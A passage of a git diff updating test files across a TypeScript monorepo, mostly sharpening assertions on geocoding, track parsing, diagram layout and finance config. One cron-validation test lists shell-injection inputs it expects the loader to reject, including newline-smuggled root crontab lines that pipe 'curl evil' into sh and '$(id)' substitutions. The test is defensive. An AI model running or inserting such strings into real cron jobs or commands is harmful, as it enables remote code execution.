b/packages/core/tests/sync-verbs.test.ts index a3e7dc3d8c..607c369eba 100644 --- a/packages/core/tests/sync-verbs.test.ts +++ b/packages/core/tests/sync-verbs.test.ts @@ -109,8 +109,8 @@ describe("commit", () => { for (const file of [EAGLE, IDEA]) expect(readFileSync(join(root, file), "utf-8")).toContain(`updated: ${localDate()}`); const subjects = body.commits.map((c: { subject: string }) => c.subject); expect(subjects).toHaveLength(2); - expect(subjects.some((s: string) => s.startsWith("Update note: "))).toBe(true); - expect(subjects.some((s: string) => s.startsWith("Add health: Sailor hydration"))).toBe(true); + expect(subjects).toContainEqual(expect.stringMatching(/^Update note: /)); + expect(subjects).toContainEqual(expect.stringMatching(/^Add health: Sailor hydration/)); for (const c of body.commits) expect(c.sha).toMatch(/^[0-9a-f]{40}$/); expect(Number(git(root, "rev-list", "--count", "HEAD"))).toBe(before + 2); expect(git(root, "status", "--porcelain", "--", EAGLE, IDEA, HYDRATION)).toBe(""); diff --git a/packages/core/tests/tags.test.ts b/packages/core/tests/tags.test.ts index 1855990b94..23d65e5e1c 100644 --- a/packages/core/tests/tags.test.ts +++ b/packages/core/tests/tags.test.ts @@ -388,10 +388,13 @@ describe("brain tags --apply, round 1 of review", () => { try { const warnings = await indexAndAccept(db, root, ctx.taxonomy, written); expect(warnings).toEqual(["notes/b.md changed after its tags were rewritten; its mtime was not accepted"]); - const accepted = (path: string) => - (db.prepare("SELECT accepted_mtime FROM documents WHERE path = ?").get(path) as { accepted_mtime: string | null }).accepted_mtime; - expect(accepted("notes/a.md")).not.toBeNull(); - expect(accepted("notes/b.md")).toBeNull(); + const row = (path: string) => + db.prepare("SELECT accepted_mtime, file_mtime FROM documents WHERE path = ?").get(path) as { accepted_mtime: string | null; file_mtime: string | null }; + // Accepted means the baseline is the mtime the index just read for the rewritten bytes. + const a = row("notes/a.md"); + expect(a.file_mtime).not.toBeNull(); + expect(a.accepted_mtime).toBe(a.file_mtime); + expect(row("notes/b.md").accepted_mtime).toBeNull(); } finally { db.close(); } diff --git a/packages/core/tests/taxonomy.test.ts b/packages/core/tests/taxonomy.test.ts index 83b2a4ea8d..e93a139a59 100644 --- a/packages/core/tests/taxonomy.test.ts +++ b/packages/core/tests/taxonomy.test.ts @@ -1,6 +1,10 @@ import { describe, expect, test } from "bun:test"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { brainConfigSchema, type BrainConfig } from "../src/lib/config"; +import { loadModules } from "../src/lib/module-loader"; import type { LoadedModule } from "../src/lib/module-types"; import { buildTaxonomy } from "../src/lib/taxonomy"; @@ -130,7 +134,7 @@ describe("reference brain shape (modules + user config)", () => { }, ], }); - expect(withJobs.typeForPath("career/opportunities/acme/status.md")).toBe("opportunity"); + expect(withJobs.typeForPath("career/opportunities/scheria/status.md")).toBe("opportunity"); expect(withJobs.typeForPath("career/cv.md")).toBe("career"); }); @@ -155,7 +159,7 @@ describe("reference brain shape (modules + user config)", () => { // Prefix rules match the containing dir: nested files match "career/", // a direct child of career/ falls through to the generic dir label // (verbatim historical deriveAssetTitle semantics). - expect(tax.assetTitleFor("career/applications/acme/jd.pdf")).toBe("CV: jd"); + expect(tax.assetTitleFor("career/applications/scheria/jd.pdf")).toBe("CV: jd"); expect(tax.assetTitleFor("career/cv-2026.pdf")).toBe("career: cv-2026"); expect(tax.assetTitleFor("notes/scans/receipt.pdf")).toBe("scans: receipt"); }); @@ -414,23 +418,41 @@ describe("modules key containment", () => { describe("module cron field constraints", () => { // The loader's contribution schema is not exported; exercise it through a - // local module fixture the loader actually imports. - test("regex shapes accept real entries and reject injection", () => { - const name = /^[a-z0-9][a-z0-9-]{0,63}$/; - const schedule = /^[-0-9*,/ ]{1,100}$/; - const command = /^[A-Za-z0-9 _.:=@,\-/]{1,200}$/; + // local module fixture the loader actually imports. The fixture returns + // whatever cron entries its config block hands it, so one module file + // serves every case. + async function loadCron(cron: unknown[]) { + const root = mkdtempSync(join(tmpdir(), "brain-taxonomy-cron-")); + try { + mkdirSync(join(root, "modules", "watchtower"), { recursive: true }); + writeFileSync( + join(root, "modules", "watchtower", "module.ts"), + 'export default { name: "watchtower", setup: (config) => ({ cron: config.cron }) };\n' + ); + const loaded = await loadModules(brainConfigSchema.parse({ modules: { "./modules/watchtower": { cron } } }), root); + return loaded[0]!.manifest.cron; + } finally { + rmSync(root, { recursive: true, force: true }); + } + } + const entry = { name: "scrape", schedule: "0 6 * * *", command: "jobs scrape --all" }; - expect(name.test("scrape")).toBe(true); - expect(schedule.test("0 6 * * *")).toBe(true); - expect(command.test("jobs scrape --all")).toBe(true); + test("regex shapes accept real entries and reject injection", async () => { + expect(await loadCron([entry])).toEqual([entry]); // Newline injection into a root crontab line, and shell metacharacters. - expect(schedule.test("0 6 * * *\n0 0 * * * root curl evil|sh")).toBe(false); - expect(command.test("jobs scrape\n0 0 * * * root sh -c evil")).toBe(false); - expect(command.test("jobs scrape; curl evil | sh")).toBe(false); - expect(command.test("jobs scrape $(id)")).toBe(false); - expect(command.test("jobs scrape `id`")).toBe(false); - expect(name.test("scrape\nroot")).toBe(false); + const refused: [Partial, string][] = [ + [{ schedule: "0 6 * * *\n0 0 * * * root curl evil|sh" }, "cron schedule must be a 5-field expression"], + [{ command: "jobs scrape\n0 0 * * * root sh -c evil" }, "cron command must be a plain"], + [{ command: "jobs scrape; curl evil | sh" }, "cron command must be a plain"], + [{ command: "jobs scrape $(id)" }, "cron command must be a plain"], + [{ command: "jobs scrape `id`" }, "cron command must be a plain"], + [{ name: "scrape\nroot" }, "cron name must be kebab-case"], + ]; + for (const [field, message] of refused) { + const failure = await loadCron([{ ...entry, ...field }]).then(() => null, (error: Error) => error.message); + expect(failure).toContain(message); + } }); }); diff --git a/packages/core/tests/video-completions.test.ts b/packages/core/tests/video-completions.test.ts index d950a16ed9..7392ba1d93 100644 --- a/packages/core/tests/video-completions.test.ts +++ b/packages/core/tests/video-completions.test.ts @@ -72,6 +72,23 @@ afterEach(() => { const provider = () => geminiCompletions({ apiKeyEnv: KEY, model: "fictional-gemini-model" }); const local = (): Extract => ({ kind: "video", path: join(directory, "odysseus.mp4"), mimeType: "video/mp4" }); +/** + * Run `fn` with the Files API poll interval (the 1000 ms wait between status + * polls in video.ts) moved to the next timer turn; every other timer stays + * real. Returns the poll waits it shortened, so a test can say there was one. + */ +async function withShortPolls(fn: () => Promise): Promise<{ value: T; polls: number }> { + const descriptor = Object.getOwnPropertyDescriptor(globalThis, "setTimeout")!; + const real = descriptor.value as (callback: (...args: unknown[]) => void, delay?: number, ...args: unknown[]) => unknown; + let polls = 0; + Object.defineProperty(globalThis, "setTimeout", { ...descriptor, value: (callback: (...args: unknown[]) => void, delay?: number, ...args: unknown[]) => { + if (delay !== 1000) return real(callback, delay, ...args); + polls++; + return real(callback, 0, ...args); + } }); + try { return { value: await fn(), polls }; } finally { Object.defineProperty(globalThis, "setTimeout", descriptor); } +} + describe("Gemini video request mapping through the real SDK", () => { test("remote URI and clip offsets are exact, prompt remains separate", async () => { const answer = await provider().complete({ prompt: "What is visible?", parts: [{ kind: "video", uri: "https://www.youtube.com/watch?v=Odysseus001", mimeType: "video/mp4", clip: { start: 0, end: 120.5 } }] }); @@ -89,7 +106,8 @@ describe("Gemini video request mapping through the real SDK", () => { }); test("a local path is uploaded, polled ACTIVE, generated and deleted", async () => { processing = true; - await provider().complete({ prompt: "Watch", parts: [local()] }); + const { polls } = await withShortPolls(() => provider().complete({ prompt: "Watch", parts: [local()] })); + expect(polls).toBe(1); expect(events).toEqual(["upload-start", "upload-bytes", "poll", "generate", "delete"]); expect(generated.contents[0].parts[0]).toEqual({ fileData: { fileUri: active().uri, mimeType: "video/mp4" } }); }); diff --git a/packages/geo/tests/geocoding.test.ts b/packages/geo/tests/geocoding.test.ts index 26b14b9c6c..22737f44be 100644 --- a/packages/geo/tests/geocoding.test.ts +++ b/packages/geo/tests/geocoding.test.ts @@ -47,7 +47,7 @@ describe("configured Nominatim operations",()=>{ expect(requested!.searchParams.get("lat")).toBe("0"); expect(requested!.searchParams.get("lon")).toBe("0"); expect(result.source!.transfer).toEqual({data:"coordinates",sent:true}); - expect(result.warnings.some(w=>w.includes("nearest suitable"))).toBe(true); + expect(result.warnings).toContainEqual(expect.stringContaining("nearest suitable")); }); test("genuine no-match replies cache; a malformed reply remains an error and is retried",async()=>{ @@ -66,7 +66,7 @@ describe("configured Nominatim operations",()=>{ const result=await geo.geocode("Ithaca"); expect(result.value).toHaveLength(1); expect(result).toMatchObject({status:"partial",counts:{input:2,retained:1,omitted:1}}); - expect(result.warnings.some(w=>w.includes("1 malformed"))).toBe(true); + expect(result.warnings).toContainEqual(expect.stringContaining("1 malformed")); const cached=await geo.geocode("Ithaca"); expect(cached).toMatchObject({status:"partial",counts:{input:2,retained:1,omitted:1},source:{fromCache:true}}); expect(count).toBe(1); diff --git a/packages/geo/tests/imported-track.test.ts b/packages/geo/tests/imported-track.test.ts index a1ccda9d70..6b32efd5a3 100644 --- a/packages/geo/tests/imported-track.test.ts +++ b/packages/geo/tests/imported-track.test.ts @@ -38,16 +38,16 @@ test("waypoint-only files and invalid waypoint evidence never fabricate a line", expect(parsed.waypoints[0]!.lat).toBe(90); expect(parsed.waypointOmissions).toEqual([{ index: 1, reason: "latitude_out_of_range", reasons: ["latitude_out_of_range"] }]); }); -for (const [name, source] of [ - ["ordinary JSON", '{"hello":"world"}'], - ["XML entities", ']>'], - ["malformed XML", ''], - ["alternate encoding", ''], - ["unsupported KML geometry", ''], - ["unsupported JSON geometry", '{"type":"Polygon","coordinates":[]}'], - ["alternate JSON CRS", '{"type":"LineString","crs":{},"coordinates":[[0,0],[1,1]]}'], - ["duplicate coordinates", '0,0 1,12,2 3,3'], -] as const) test(`${name} remains a structural error`, () => { expect(() => parseImportedTrack(source)).toThrow(); }); +for (const [name, source, message] of [ + ["ordinary JSON", '{"hello":"world"}', "Supported GeoJSON track geometry is LineString"], + ["XML entities", ']>', "doctypes/entities are unsupported"], + ["malformed XML", '', "unexpected close tag"], + ["alternate encoding", '', "must use UTF-8 or ASCII"], + ["unsupported KML geometry", '', "Unsupported KML Polygon"], + ["unsupported JSON geometry", '{"type":"Polygon","coordinates":[]}', "Supported GeoJSON track geometry is LineString"], + ["alternate JSON CRS", '{"type":"LineString","crs":{},"coordinates":[[0,0],[1,1]]}', "Alternate GeoJSON coordinate systems are unsupported"], + ["duplicate coordinates", '0,0 1,12,2 3,3', "Duplicate track XML coordinates"], +] as const) test(`${name} remains a structural error`, () => { expect(() => parseImportedTrack(source)).toThrow(message); }); test("byte, depth and aggregate point limits count all evidence", () => { expect(() => parseImportedTrack(" ".repeat(20 * 1024 * 1024 + 1))).toThrow("20 MiB"); expect(() => parseImportedTrack('' + ''.repeat(129) + ''.repeat(129) + '')).toThrow("nesting"); @@ -57,6 +57,9 @@ test("byte, depth and aggregate point limits count all evidence", () => { test("GeoJSON wrappers are structurally validated, rather than treating mislabeled ordinary objects as geometry", () => { const line = { type: "LineString", coordinates: [[3,2],[3.01,2]] }; const feature = { type: "Feature", properties: {}, geometry: line }; - for (const bad of [{ type: "FeatureCollection", features: [line] }, { type: "GeometryCollection", geometries: [feature] }, { type: "Feature", properties: {}, geometry: feature }]) expect(() => parseImportedTrack(JSON.stringify(bad))).toThrow(); + for (const [bad, message] of [[{ type: "FeatureCollection", features: [line] }, "FeatureCollection members must be Features"], + [{ type: "GeometryCollection", geometries: [feature] }, "not a Feature wrapper"], [{ type: "Feature", properties: {}, geometry: feature }, "not a Feature wrapper"]] as const) { + expect(() => parseImportedTrack(JSON.stringify(bad))).toThrow(message); + } expect(parseImportedTrack(JSON.stringify({ type: "FeatureCollection", features: [feature] })).track.counts.retained).toBe(2); }); diff --git a/packages/geo/tests/io.test.ts b/packages/geo/tests/io.test.ts index 3cbdd483b3..dc621f34bc 100644 --- a/packages/geo/tests/io.test.ts +++ b/packages/geo/tests/io.test.ts @@ -94,7 +94,7 @@ describe("shared geo request admission and cache",()=>{ const endpoints=["https://routing.openstreetmap.de/routed-foot/route/v1","https://overpass-api.de/api/interpreter","https://lz4.overpass-api.de/api/interpreter", "https://gall.openstreetmap.de/api/interpreter","https://lambert.openstreetmap.de/api/interpreter"]; const results=await Promise.all(endpoints.map((url,i)=>io.request(i===0 ? "osrm" : "overpass",url,url,{},decode))); - expect(results.every(r=>r.error===null)).toBe(true); + expect(results.map(r=>r.error)).toEqual([null,null,null,null,null]); expect(starts).toHaveLength(5); expect(peak).toBe(1); for(let i=1;i{ expect(admission.nextStart).toBeGreaterThan(0); expect(admission.blockedUntil).toBe(0); expect((await readdir(join(root,"admission"))).filter(x=>x.endsWith(".lock"))).toEqual([]); - expect((await readdir(root)).includes("responses")).toBe(false); + expect(await readdir(root)).not.toContain("responses"); }); } } @@ -242,7 +242,7 @@ describe("shared geo request admission and cache",()=>{ expect(admission.nextStart).toBeGreaterThan(0); expect(admission.blockedUntil).toBe(0); expect((await readdir(join(root,"admission"))).filter(x=>x.endsWith(".lock"))).toHaveLength(failure==="persistence" ? 1 : 0); - expect((await readdir(root)).includes("responses")).toBe(false); + expect(await readdir(root)).not.toContain("responses"); } finally { clearTimeout(watchdog); signal?.removeEventListener("abort",onAbort); @@ -317,7 +317,7 @@ describe("shared geo request admission and cache",()=>{ expect(result!==false && result.value).toBeNull(); expect(result!==false && result.source).toMatchObject({requestSent:true,fromCache:false}); expect((await readdir(join(root,"admission"))).filter(x=>x.endsWith(".lock"))).toEqual([]); - expect((await readdir(root)).includes("responses")).toBe(false); + expect(await readdir(root)).not.toContain("responses"); } finally { nativeClear(watchdog); // Restore every global descriptor even if request cleanup itself fails. diff --git a/packages/geo/tests/normalized-track.test.ts b/packages/geo/tests/normalized-track.test.ts index 0a332f0d0d..1abf3b7eeb 100644 --- a/packages/geo/tests/normalized-track.test.ts +++ b/packages/geo/tests/normalized-track.test.ts @@ -43,8 +43,9 @@ describe("normalized track adapters", () => { test("empty-section resource limits and malformed structures reject", () => { expect(()=>normalizeTrack(Array.from({length:200_001},()=>[]))).toThrow("sections"); - for (const input of [null, [null], [[null]], [[[]]]]) { - expect(()=>normalizeTrack(input as never)).toThrow(); + for (const [input, message] of [[null, "Expected normalized track sections"], [[null], "Each normalized track section must be an array"], + [[[null]], "Each normalized track point must be an object"], [[[[]]], "Each normalized track point must be an object"]] as const) { + expect(()=>normalizeTrack(input as never)).toThrow(message); } expect(normalizeTrack([])).toMatchObject({status:"no_line",counts:{input:0,retained:0,omitted:0,segments:0}}); }); diff --git a/packages/geo/tests/poi.test.ts b/packages/geo/tests/poi.test.ts index b54504c9a1..5f07d2846d 100644 --- a/packages/geo/tests/poi.test.ts +++ b/packages/geo/tests/poi.test.ts @@ -235,7 +235,7 @@ describe("bounded shared Overpass POI queries", () => { const cap = await capped.poi(query); expect(cap.value).toHaveLength(1_000); expect(cap).toMatchObject({status: "partial", truncated: true, counts: {input: 1_001, retained: 1_000, omitted: 1}}); - expect(cap.warnings.some(w => w.includes("more matching"))).toBe(true); + expect(cap.warnings).toContainEqual(expect.stringContaining("more matching")); }); test("every failed endpoint is attempted once and a cached fallback retains its cause", async () => { diff --git a/packages/geo/tests/routing.test.ts b/packages/geo/tests/routing.test.ts index c8f2eea258..8c4ebaa3f4 100644 --- a/packages/geo/tests/routing.test.ts +++ b/packages/geo/tests/routing.test.ts @@ -83,7 +83,7 @@ describe("configured OSRM routing and explicit demo fallback",()=>{ expect(result.source).toMatchObject({endpoint:"https://routing.openstreetmap.de/routed-bike/route/v1",dataset:{preparedMode:"bike",profile:"driving"}, fallback:{used:true,reason:"http",primaryEndpoint:dataset("bike").url},transfer:{sent:true}}); expect(result.attempts).toHaveLength(2); - expect(result.attribution.some(a=>a.url.endsWith("/fixthemap"))).toBe(true); + expect(result.attribution.map(a=>a.url)).toContainEqual(expect.stringMatching(/\/fixthemap$/)); const cached=await geo.route(points,"bike"); expect(cached.source).toMatchObject({fromCache:true,fallback:{used:true},dataset:{preparedMode:"bike"},transfer:{sent:false}}); expect(cached.attempts.map(a=>a.requestSent)).toEqual([true,false]); diff --git a/packages/geo/tests/static-map.test.ts b/packages/geo/tests/static-map.test.ts index 4ce47395b4..7fadea43f1 100644 --- a/packages/geo/tests/static-map.test.ts +++ b/packages/geo/tests/static-map.test.ts @@ -154,7 +154,7 @@ describe("deterministic vector static maps", () => { expect(result.png).toBeNull(); expect(result).toMatchObject({ kind: "none", reason: "render_budget", png: null }); expect(result.pins).toHaveLength(1_000); expect(result.text).toContain(`Stop 1000: ${pins[999]!.label}`); - expect(result.pins.every(pin => !pin.drawn)).toBe(true); + expect(result.pins.filter(pin => pin.drawn)).toEqual([]); }); test("unsupported font glyphs preserve full text instead of producing a blank or missing stop label", async () => { @@ -208,7 +208,7 @@ describe("deterministic vector static maps", () => { background.value!.coastline = Array.from({ length: 10_001 }, () => []); await expect(geo.staticMap({ ...input, background })).rejects.toThrow("geometry budget"); background.value!.coastline = [[[0, 91]]]; - await expect(geo.staticMap({ ...input, background })).rejects.toThrow(); + await expect(geo.staticMap({ ...input, background })).rejects.toThrow("Route coordinates must be finite latitude/longitude"); expect(requests).toBe(1); }); diff --git a/packages/geo/tests/track.test.ts b/packages/geo/tests/track.test.ts index ab69c3523c..b1b49e297b 100644 --- a/packages/geo/tests/track.test.ts +++ b/packages/geo/tests/track.test.ts @@ -87,10 +87,10 @@ describe("shared GPX recovery", () => { }); test("recovery still rejects malformed, unsafe and nested input", () => { - for (const source of [gpx([pt("0", "0") + pt("0", "1")]).slice(0, -6), - ']>' + gpx([pt("0", "0") + pt("0", "1")]), - gpx(["".repeat(129) + "".repeat(129)])]) { - expect(() => parseTrackGpx(source)).toThrow(); + for (const [source, message] of [[gpx([pt("0", "0") + pt("0", "1")]).slice(0, -6), /unclosed tag/], + [']>' + gpx([pt("0", "0") + pt("0", "1")]), /doctypes/], + [gpx(["".repeat(129) + "".repeat(129)]), /nesting exceeds 128/]] as const) { + expect(() => parseTrackGpx(source)).toThrow(message); } }); }); diff --git a/packages/module-diagrams/tests/export.test.ts b/packages/module-diagrams/tests/export.test.ts index cd213f0efc..a31d8c140d 100644 --- a/packages/module-diagrams/tests/export.test.ts +++ b/packages/module-diagrams/tests/export.test.ts @@ -39,7 +39,7 @@ test("absent and dormant diagrams modules report actual fences without loading a }finally{cleanup(root);} }); test("enabled hygiene reports invalid fresh specs and sees old documents beyond the list query cap",async()=>{ - const root=makeTempBrain({empty:true});try{configure(root);for(let i=0;i<105;i++)writeFileSync(join(root,`note-${i}.md`),markdown("A voyage note."));writeFileSync(join(root,"dispatch.md"),markdown(fence()));expect((await runCli(root,["index","--force"])).code).toBe(0);writeFileSync(join(root,"dispatch.md"),markdown('```diagram\nschema_version: 1\ntype: unknown\n```\n'));expect(categories((await runCli(root,["audit","--json"])).stdout).some((x:{category:string;path:string})=>x.category==="diagram-invalid"&&x.path==="dispatch.md")).toBe(true); + const root=makeTempBrain({empty:true});try{configure(root);for(let i=0;i<105;i++)writeFileSync(join(root,`note-${i}.md`),markdown("A voyage note."));writeFileSync(join(root,"dispatch.md"),markdown(fence()));expect((await runCli(root,["index","--force"])).code).toBe(0);writeFileSync(join(root,"dispatch.md"),markdown('```diagram\nschema_version: 1\ntype: unknown\n```\n'));expect(categories((await runCli(root,["audit","--json"])).stdout).map((x:{category:string;path:string})=>[x.category,x.path])).toContainEqual(["diagram-invalid","dispatch.md"]); }finally{cleanup(root);} }); test("flattening preserves literal source text and resolves opaque generated mix steps",()=>{ diff --git a/packages/module-diagrams/tests/positional.test.ts b/packages/module-diagrams/tests/positional.test.ts index 2cc98389ae..0e6e247fbe 100644 --- a/packages/module-diagrams/tests/positional.test.ts +++ b/packages/module-diagrams/tests/positional.test.ts @@ -15,6 +15,7 @@ import type { DiagramShape } from "../src/shape.js"; for (const type of ["loop","flywheel"]) test(`${type}: actual ring/spoke samples clear all opaque label masks`, () => { const spec=JSON.parse(readFileSync(new URL(`../skills/diagram/references/examples/positional/${type}.diagram.yaml`,import.meta.url),"utf8")),tree=buildDiagram(spec),shapes=tree.elements.filter((e):e is DiagramShape=>e.kind==="shape"); const masks=shapes.filter(e=>e.paint==="mask"),cx=tree.viewBox.width/2,cy=tree.viewBox.height/2-20; + expect(masks.length,"LOOP_LABEL_MASKS_SAMPLED").toBe(type==="loop"?2:0);expect(shapes.filter(e=>e.shape==="path").length,"RING_ARCS_SAMPLED").toBe(5); for(const shape of shapes){const points:Array<{x:number;y:number}>=[]; if(shape.shape==="line")for(let i=0;i<=128;i++)points.push({x:shape.x1+(shape.x2-shape.x1)*i/128,y:shape.y1+(shape.y2-shape.y1)*i/128}); if(shape.shape==="path"){const values=shape.d.match(/[-+]?(?:\d*\.\d+|\d+\.?\d*)(?:e[-+]?\d+)?/gi)!.map(Number),[sx,sy,r]=values as [number,number,number],ex=values[7]!,ey=values[8]!,start=Math.atan2(sy-cy,sx-cx),end=Math.atan2(ey-cy,ex-cx),angle=(end-start+2*Math.PI)%(2*Math.PI);for(let i=0;i<=128;i++)points.push({x:cx+r*Math.cos(start+angle*i/128),y:cy+r*Math.sin(start+angle*i/128)});} @@ -30,6 +31,7 @@ test("Venn unequal areas retain genuine overlap, grid geometry and complete inte const spec=example("venn");spec.size="social-square";spec.positional.venn.sets.forEach((set:any,i:number)=>set.weight=weights[i]); expect(checkDiagram(JSON.stringify(spec)).errors,"HONEST_VENN_ACCEPTANCE").toEqual([]); const scene=shapes(spec),circles=scene.filter((s):s is Extract=>s.shape==="circle"&&Boolean(s.nodeId)); + expect(scene.filter(s=>/^intersection-\d+$/.test(s.id)).length,"VENN_REGIONS_CHECKED").toBe(spec.positional.venn.intersections.length); const maximum=Math.max(...weights),largest=Math.max(...circles.map(c=>c.radius)); circles.forEach((c,i)=>{for(const n of[c.cx,c.cy,c.radius])expect(n%4).toBe(0);expect(Math.abs((c.radius/largest)**2/(weights[i]!/maximum)-1),"HONEST_VENN_AREA").toBeLessThanOrEqual(.05);expect(Math.hypot(c.cx-540,c.cy-500),"GENUINE_VENN_OVERLAP").toBeLessThan(c.radius);}); for(const region of scene.filter(s=>/^intersection-\d+$/.test(s.id))){const leader=scene.find(s=>s.id===region.id.replace("intersection-","intersection-leader-")); @@ -41,7 +43,7 @@ test("Venn unequal areas retain genuine overlap, grid geometry and complete inte }); test("Pyramid apex, quantitative widths and both text lines stay in actual trapezoid",()=>{ for(const type of["pyramid","funnel"]){const spec=example(type);spec.nodes.forEach((n:any)=>n.sub="CREW");spec.positional.pyramid.layers.forEach((l:any,i:number)=>l.value=type==="pyramid"?(i+1)*20:(4-i)*20); - expect(checkDiagram(JSON.stringify(spec)).errors).toEqual([]);const scene=shapes(spec),polygons=scene.filter((s):s is Extract=>s.shape==="polygon"); + expect(checkDiagram(JSON.stringify(spec)).errors).toEqual([]);const scene=shapes(spec),polygons=scene.filter((s):s is Extract=>s.shape==="polygon");expect(polygons.length,"TRAPEZOIDS_CHECKED").toBe(4); polygons.forEach((p,i)=>{const top=p.points[1]!.x-p.points[0]!.x,bottom=p.points[2]!.x-p.points[3]!.x,expected=(spec.positional.pyramid.layers[i].value/80)*640;expect(type==="pyramid"?bottom:top,"QUANTITATIVE_LAYER_WIDTH").toBeCloseTo(expected,6);if(type==="pyramid"&&i===0)expect(top,"TRUE_PYRAMID_APEX").toBe(0); for(const text of scene.filter(s=>s.shape==="text"&&(s.id===`${p.id}-name`||s.id===`${p.id}-sub`))){for(const y of[text.y,text.y+text.height]){const available=top+(bottom-top)*(y-p.y)/p.height;expect(text.x,"POLYGON_TEXT_LEFT").toBeGreaterThanOrEqual(480-available/2+7.99);expect(text.x+text.width,"POLYGON_TEXT_RIGHT").toBeLessThanOrEqual(480+available/2-7.99);}} });expect(scene.filter(s=>s.shape==="text"&&s.id.endsWith("-sub")).length).toBe(4); @@ -59,6 +61,7 @@ test("Each positional family reports editorial one-over-budget warnings",()=>{ test("Generated scenes contain finite full strokes, arrowheads, circles, masks and circular extrema",()=>{ for(const type of types){const spec=example(type),tree=buildDiagram(spec),scene=shapes(spec),inside=(x:number,y:number,padding=1)=>{expect(Number.isFinite(x)&&Number.isFinite(y),"FINITE_SCENE_COORDINATES").toBe(true);expect(x-padding,"SCENE_LEFT_STROKE").toBeGreaterThanOrEqual(0);expect(y-padding,"SCENE_TOP_STROKE").toBeGreaterThanOrEqual(0);expect(x+padding,"SCENE_RIGHT_STROKE").toBeLessThanOrEqual(tree.viewBox.width);expect(y+padding,"SCENE_BOTTOM_STROKE").toBeLessThanOrEqual(tree.viewBox.height-32);}; + expect(scene.filter(s=>s.shape==="path"&&s.id.startsWith("ring-")).length,"RING_PATHS_CHECKED").toBe(type==="loop"||type==="flywheel"?5:0); for(const shape of scene){for(const x of[shape.x,shape.x+shape.width])for(const y of[shape.y,shape.y+shape.height])inside(x,y);if(shape.shape==="circle")for(const [dx,dy]of[[1,0],[-1,0],[0,1],[0,-1]])inside(shape.cx+shape.radius*dx!,shape.cy+shape.radius*dy!);if(shape.shape==="polygon")for(const p of shape.points)inside(p.x,p.y);if(shape.arrow){const a=shape.arrow;inside(a.x,a.y);for(const side of[-1,1])inside(a.x-a.dx*7+a.dy*4*side,a.y-a.dy*7-a.dx*4*side);} if(shape.shape==="path"&&shape.id.startsWith("ring-")){const values=shape.d.match(/[-+]?(?:\d*\.\d+|\d+\.?\d*)(?:e[-+]?\d+)?/gi)!.map(Number);expect(values[2],"COMMON_RING_RADIUS").toBe(216);expect(values[3]).toBe(216);expect(values[6],"CLOCKWISE_RING_SWEEP").toBe(1);const source=scene.find(e=>e.nodeId===shape.from&&e.shape==="rect")!,target=scene.find(e=>e.nodeId===shape.to&&e.shape==="rect")!; for(const [x,y,box]of[[values[0]!,values[1]!,source],[values[7]!,values[8]!,target]]as const){const distance=Math.min(Math.abs(x-box.x),Math.abs(x-box.x-box.width),Math.abs(y-box.y),Math.abs(y-box.y-box.height));expect(distance,"RING_END_ON_STATION_EDGE").toBeLessThan(.001);expect(Math.hypot(x-tree.viewBox.width/2,y-(tree.viewBox.height/2-20)),"TRUE_CIRCULAR_RING").toBeCloseTo(216,6);} diff --git a/packages/module-diagrams/tests/skin.test.ts b/packages/module-diagrams/tests/skin.test.ts index e6e9e16ea2..d4d75b068e 100644 --- a/packages/module-diagrams/tests/skin.test.ts +++ b/packages/module-diagrams/tests/skin.test.ts @@ -61,6 +61,7 @@ test("narrow layout refuses missing, duplicate, extra, out-of-bounds, non-grid, (s: ReturnType) => s.layouts.narrow.nodes[0]!.id = "extra", (s: ReturnType) => s.layouts.narrow.nodes[0]!.at[0] = 312, (s: ReturnType) => s.layouts.narrow.nodes[0]!.at[0] = 41, + (s: ReturnType) => s.layouts.narrow.nodes[0]!.at[0] = 42, (s: ReturnType) => s.layouts.narrow.nodes[1]!.at = [40, 40], (s: ReturnType) => s.layouts.narrow.nodes[0]!.size[0] = 16, ]; diff --git a/packages/module-diagrams/tests/spec.test.ts b/packages/module-diagrams/tests/spec.test.ts index 96e4873cae..4bc031ebb9 100644 --- a/packages/module-diagrams/tests/spec.test.ts +++ b/packages/module-diagrams/tests/spec.test.ts @@ -35,6 +35,8 @@ test("free boxes require a 4px grid and may touch but cannot overlap", () => { expect(check(spec).valid).toBe(true); spec.nodes[1].at = [184, 120]; expect(check(spec).errors).toContainEqual({ path: "$.nodes[1].at", code: "overlap", message: "Node 'ithaca' overlaps 'raft'" }); + spec.nodes[1].at = [190, 120]; + expect(check(spec).errors, "EVEN_OFF_GRID_REFUSED").toContainEqual({ path: "$.nodes[1].at[0]", code: "grid", message: "Structural geometry must align to the 4px grid" }); spec.nodes[1].at = [189, 120]; expect(check(spec).errors).toContainEqual({ path: "$.nodes[1].at[0]", code: "grid", message: "Structural geometry must align to the 4px grid" }); spec.nodes[1].size = [149, 64]; diff --git a/packages/module-finance/tests/finance.test.ts b/packages/module-finance/tests/finance.test.ts index d7aaf69516..d1379536e9 100644 --- a/packages/module-finance/tests/finance.test.ts +++ b/packages/module-finance/tests/finance.test.ts @@ -87,7 +87,13 @@ describe("module manifest", () => { }); test("configSchema accepts the documented config block", () => { - expect(() => configSchema.parse({ clientsDir: "clients", feeTolerance: 30 })).not.toThrow(); + // The README's block names two keys; the parsed config keeps them and fills the rest. + expect(configSchema.parse({ clientsDir: "clients", feeTolerance: 30 })).toEqual({ + clientsDir: "clients", + feeTolerance: 30, + currency: "USD", + termsDays: 30, + }); }); test("taxonomy roundtrip: dirForType/typeForPath are inverse for finance", () => { @@ -177,7 +183,9 @@ describe("the generated region (#403)", () => { expect({ path, markerLines }).toEqual({ path, markerLines: ["", CLOSE] }); const region = readGeneratedRegion(text, "finance")!; // Every table row is still one line with its own cells. - for (const row of region.split("\n").filter((line) => line.startsWith("|"))) expect(row.endsWith("|")).toBe(true); + const rows = region.split("\n").filter((line) => line.startsWith("|")); + expect(rows.length).toBeGreaterThan(0); + expect({ path, unclosedRows: rows.filter((row) => !row.endsWith("|")) }).toEqual({ path, unclosedRows: [] }); } expect(readGeneratedRegion(readFileSync(ledger, "utf8"), "finance")).toContain("wire <!-- /brain:generated:finance --> rest"); expect(readGeneratedRegion(readFileSync(ledger, "utf8"), "finance")).toContain("| 2026-acme\\|01 |"); diff --git a/packages/module-images/tests/module.test.ts b/packages/module-images/tests/module.test.ts index 62ef4cf9d4..6f8bc1db2e 100644 --- a/packages/module-images/tests/module.test.ts +++ b/packages/module-images/tests/module.test.ts @@ -1,5 +1,5 @@ -import { describe, expect, it } from "bun:test"; -import { mkdtempSync } from "fs"; +import { afterEach, describe, expect, it } from "bun:test"; +import { mkdtempSync, rmSync } from "fs"; import { tmpdir 